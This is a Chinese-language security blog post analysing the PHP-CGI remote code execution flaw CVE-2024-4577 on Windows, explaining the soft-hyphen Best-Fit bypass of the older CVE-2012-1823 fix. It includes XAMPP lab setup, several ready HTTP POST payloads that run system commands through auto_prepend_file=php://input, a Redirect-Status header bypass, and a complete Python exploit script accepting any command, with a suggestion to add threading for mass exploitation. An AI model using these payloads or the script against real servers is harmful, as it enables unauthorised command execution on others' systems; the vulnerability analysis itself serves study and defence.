PHP-CGI漏洞分析与复现及通用EXP编写
bcloud 发表于 四川 漏洞分析 2905浏览 · 2024-07-18 16:47

前言

PHP-CGI的RCE漏洞,漏洞编号为CVE-2024-4577,该漏洞利用成功我觉得还是挺苛刻的,php运行在windows系统中,而且必须使用简体、繁体、日文作为系统语言。
该漏洞主要是2012年PHP远程代码执行漏洞的一个绕过,所以我们先简单了解一下CVE-2012-1823这个漏洞的原理。
但是在了解CVE-2012-1823之前我们需要先了解sapi和cgi他们分别是什么以及运行模式是怎么样的。

SAPI&CGI

在PHP中,消息进行传递的方式使用的sapi(server api),比如php-fpm,他的存在就是一个中转的作用,web容器通过fastcgi协议封装好数据,再通过fpm把该数据交给PHP,然后通过php解释器进行执行
除了php-fpm以外还有应用于apache中的sapi叫做mod_php,mod_php主要应用于php语言和apache之间的数据交换
那么我们再说回php-cgi,在web应用初期,运行的方式都是web容器接收http请求数据然后获取用户请求的路径文件(文件为cgi脚本类型),会派生出一个子进程(该进程为解释器)去执行这个文件,把执行结果直接回显给用户同时该子进程结束并退出。像这种运行方式就被称之为cgi运行,apache早期的时候都是该方式进行运行,apache再安装的时候默认存在一个cgi-bin目录,最早就是放置一些cgi脚本,不过现在已经不使用cgi方式运行了,所以一般里面没有啥东西。


我刚刚也说到了现在已经不适用cgi方式运行,那时为什么呢?主要就是上面提及的每一次都要获取用户的请求然后派生一个子进程,因此对于进程的创建和其他一些列处理情况都是会消耗服务器资源的,所以以但请求量过大就会导致服务器崩溃。

所以再后来就有了fastcgi模式,该进程可以一直在后台运行并且自身在执行完用户请求并返回结果后并不会退出。所以不存在进程消耗一说也就极大减轻了服务器的压力。

在说到php-cgi有两个模式,一种是提供cgi方式的交互,一种是fastcgi模式交互,那么我们既可以派生一个子进程执行php-cgi中的某个脚本,也可以使用php-cgi -d的方式在后台运行让fastcgi进行交互。

所以现在我们大概可以弄明白了,php-cgi可以以fastcgi方式运行,php-fpm也可以使用fastcgi运行,而fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器。

CVE-2012-1823

回到漏洞本身,其实该漏洞就是php-cgi出现问题,上面说到了php-cgi存在两种方式运行,本漏洞只出现在cgi模式运行下。
这个漏洞根本原因就是用户请求的querystring被php-cgi作为了参数解析导致漏洞产生。
当querystring中没有包含没有解码后的=情况下,那么就会将querystring作为cgi参数传入。
参数可控我们可以做什么事很多事情,主要有两个参数,如下:

-s:显示源码
-d:指定配置项

我们通过指定-d参数即可造成任意文件包含漏洞,使用php为协议input即可造成任意代码执行,具体可参考如下的漏洞复现
但是该漏洞被爆出后很快就有绕过方法,主要是对用户输入的第一个字符进行检查是否是-开头,如果是就不获取命令行参数,但是可以加上空白符即可绕过
这次修复方式就是先去掉开头的空格再进行判断是否-开头。

CVE-2024-4577

通过上述大概能够了解该漏洞的前身,我们在来看该漏洞又是怎么一回事。
上述说过了,该漏洞经过两次修复才得以缓解,这次也是漏洞实际上就是对横线的再次绕过
在windows中,如果系统使用的字符集不是Unicode编码的话那么在main函数获取argv参数的时候会自动执行编码转换操作,其中就会涉及到Best-Fit,Best-Fit是一种字符转换机制,会根据字符编码进行最佳匹配。
参考下面链接
https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt


这里利用Best-Fit这个特性,使用0x00ad来代替横线-。PHP在执行上述检查的时候,会认为命令行的第一个字符是0x00ad;实际上main()函数的argv的第一个字符已经被Windows按照best-fit转换成-。这其实是一个解析绕过案例。
但是这其中并不是所有0x00ad开头的字符串都会被解析成-,而是只有通过main函数获取的argv才会被解析,而非main函数获取则保持原样并没有解析,因此无法正常执行。

如下示例:

mvn \xadv   成功执行

python \xadV  报错,发现\xad被解析为\颅

XAMPP

XAMPP是一种非常流行的在本地开发和测试 PHP 应用程序的工具,它主要包含apache和php以及MariaDB数据库,如果你的应用程序安装了XAMPP并且使用的是默认配置则可以被利用。
我们先下载XAMPP进行环境搭建,直接访问如下链接即可下载,版本为使用最多的8.2.12版本

https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe/download


下载exe文件双击安装,一直Next即可


运行XAMPP,如果没有安装apache根据提示安装即可


在htdocs下创建phpinfo文件


打开httpd-xampp.conf配置文件


找到如下内容取消注释即可使用cgi模式


启动apache浏览器访问phpinfo即可发现sapi为cgi模式

漏洞复现

使用如下payload即可
payload:注意allow_url_include,既可以使用on,也可以使用allow_url_include=1的形式

POST /info.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.199.12
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

<?php system('whoami');?>


-d allow_url_include=on
控制允许在include、include_once、require、require_once等函数中使用URL作为文件名,可以远程url加载执行php代码
-d auto_prepend_file=php://input
php://input流通常用于读取POST数据,而-d auto_prepend_file则指定了包含的php脚本为POST输入

漏洞绕过

我们再注释配置文件的#号,恢复默认配置。

浏览器访问发现sapi为Apache 2.0 Handler并没有使用php-cgi模式运行,默认配置使用上述payload无法执行,那么该怎么进行利用呢?


当sapi为Apache 2.0 Handler时,php会被编译为动态链接库dll文件,该文件会由apache来调用执行。

我们可以在httpd-xampp.conf文件中找到相关配置信息:


可以发现所有的信息都会交给php8apache2_4.dll来执行,所以这和php-cgi没有任何关系,那么在这其中又是怎样的关系呢?这就涉及到

cgi映射问题,当我们使用ScriptAlias来指定映射关系时,系统会自动重定向并使用映射中指定的路径进行处理后续操作,我们查看如下配置:

ScriptAlias /php-cgi/ "C:/Users/Administrator/Desktop/xmp/php/"

 <Directory "C:/Users/Administrator/Desktop/xmp/php/htdocs">
     AddHandler application/x-httpd-php .php
     Action application/x-httpd-php /php-cgi/php-cgi.exe
 </Directory>

ScriptAlias指令的作用是将/php-cgi/路径指向C:/Users/Administrator/Desktop/xmp/php/目录,Action指令的作用就是将所有对.php文件的请求都使用/php-cgi/php-cgi.exe,也就是C:/Users/Administrator/Desktop/xmp/php/php-cgi.exe来执行。

apache在调用cgi时会查看环境变量REDIRECT_STATUS,而php-cgi为了确认是由apache调用的从而增加了一个开关cgi.force_redirect,当值为1时默认开启,值为0时则关闭状态。那么我们查看配置文件发现并没有上述配置,如果我们进行手动添加那就不是默认配置了。我们查看配置文件也只发现只有如下字段,其余字段被注释


其实这样的默认配置也能够进行有效的防御,本身没有什么问题,在上述复现中使用的payload也证实了这一点,前面我们也说了限制该利用的原因是cgi.force_redirect=1,那么我们可以添加-d cgi.force_redirect=0即可绕过限制。
因此,使用如下payload即可成功利用

payload:

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input HTTP/1.1
Host: 192.168.199.12
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

<?php system('whoami');?>

-d allow_url_include=on
控制允许在include、include_once、require、require_once等函数中使用URL作为文件名,可以远程url加载执行php代码
-d auto_prepend_file=php://input
php://input流通常用于读取POST数据,而-d auto_prepend_file则指定了包含的php脚本为POST输入
-d cgi.force_redirect=0
关闭cgi请求限制


那么在这其中,其实我们也可以在http请求头中添加Redirect-Status: 1仍然可以绕过限制成功利用

payload如下:

POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input HTTP/1.1
Host: 192.168.199.12
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Redirect-Status: 1

<?php system('whoami');?>

if (!getenv("REDIRECT_STATUS") && !getenv ("HTTP_REDIRECT_STATUS") &&(!CGIG(redirect_status_env) || !getenv(CGIG(redirect_status_env)))

想要了解原理我们可以看php源码sapi/cgi/cgi_main.c,主要原因是该段代码getenv("HTTP_REDIRECT_STATUS"),http很多时候会用http头来确定环境变量,因此该代码这种形式的话那么用户就可以在请求头中添加Redirect-Status字段来控值变量结果导致漏洞利用成功。

POC编写

总结

通过上述漏洞我们应该能够了解漏洞的产生与利用了,但是每次都要改包或者发包挺复杂的,因此使用python编写了一个POC,该脚本其实含金量不高,但是使用啊,基本上一些存在该漏洞都可以攻击成功,虽然CVE-2024-4577漏洞在最新的PHP版本中已经修复了,但这个在HTTP头中添加环境变量REDIRECT-STATUS=1仍然可以导致cgi.force_redirect的绕过。因此该脚本利用这一点来编写,更够加大利用成功率,如果感兴趣的师傅甚至可以加上多线程技术批量进行批量利用。
话不多说,直接给出代码,代码中已经对每行代码做了简单解释,大家也可以去github上下载无注释信息的脚本。

"""
TYPE:php-cgi RCE
"""
from requests import Request, Session
import sys
import json
import re


def exploit(url, command):
    # 指定执行的payload,使用两条命令查看来判断是否存在漏洞,第一行命令不管第二行代码是否成功执行只要回显vulnerable那么就存在漏洞
    payloads = {
        '<?php echo "bcloud&nNoSuger\n";echo shell_exec("' + command + '"); ?>'
    }
    # 指定http请求头信息,指定UA头和数据格式指定为url编码
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Redirect-Status': '1'
        }
    # 创建一个会话,持续建立连接
    s = Session()
    # 使用for循环请求指定payload
    for payload in payloads:
        # 请求指定URI
        url = url + "/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        # 使用request库发起http请求
        req = Request('POST', url, data=payload, headers=headers)
        # 调用prepare函数使其转换为PreparedRequest对象,以便进一步处理和发送请求
        prepped = req.prepare()
        # 删除prepped请求头中的Content-Type字段
        del prepped.headers['Content-Type']
        # 使用会话持续保持连接并且使用verify=False不验证SSL证书以及设置超时时间为15秒
        resp = s.send(prepped, verify=False, timeout=15)
        #使用正则匹配响应内容,判断漏洞是否存在
        content_to_search = 'bcloud&nNoSuger'
        if re.search(content_to_search, resp.text):
            print("[*] 存在CVE-2024-4577漏洞")
            continue
        else:
            print("[-] 不存在CVE-2024-4577漏洞")


# 主函数
if __name__ == '__main__':
    # 判断命令行参数不得少于3个,如果少于则打印使用说明
    if (len(sys.argv) < 2):
        print('[+] 使用方法: python3 %s https://<target_url> <command>\n' % (sys.argv[0]))
        print('[+] 使用案例: python3 POC——filename https://192.168.0.10\n whoami' % (sys.argv[0]))
        exit(0)
    # 如果命令行参数为三个则执行else语句
    else:
        exploit(sys.argv[1], sys.argv[2])

运行结果如下:

0 条评论
某人
表情
可输入 255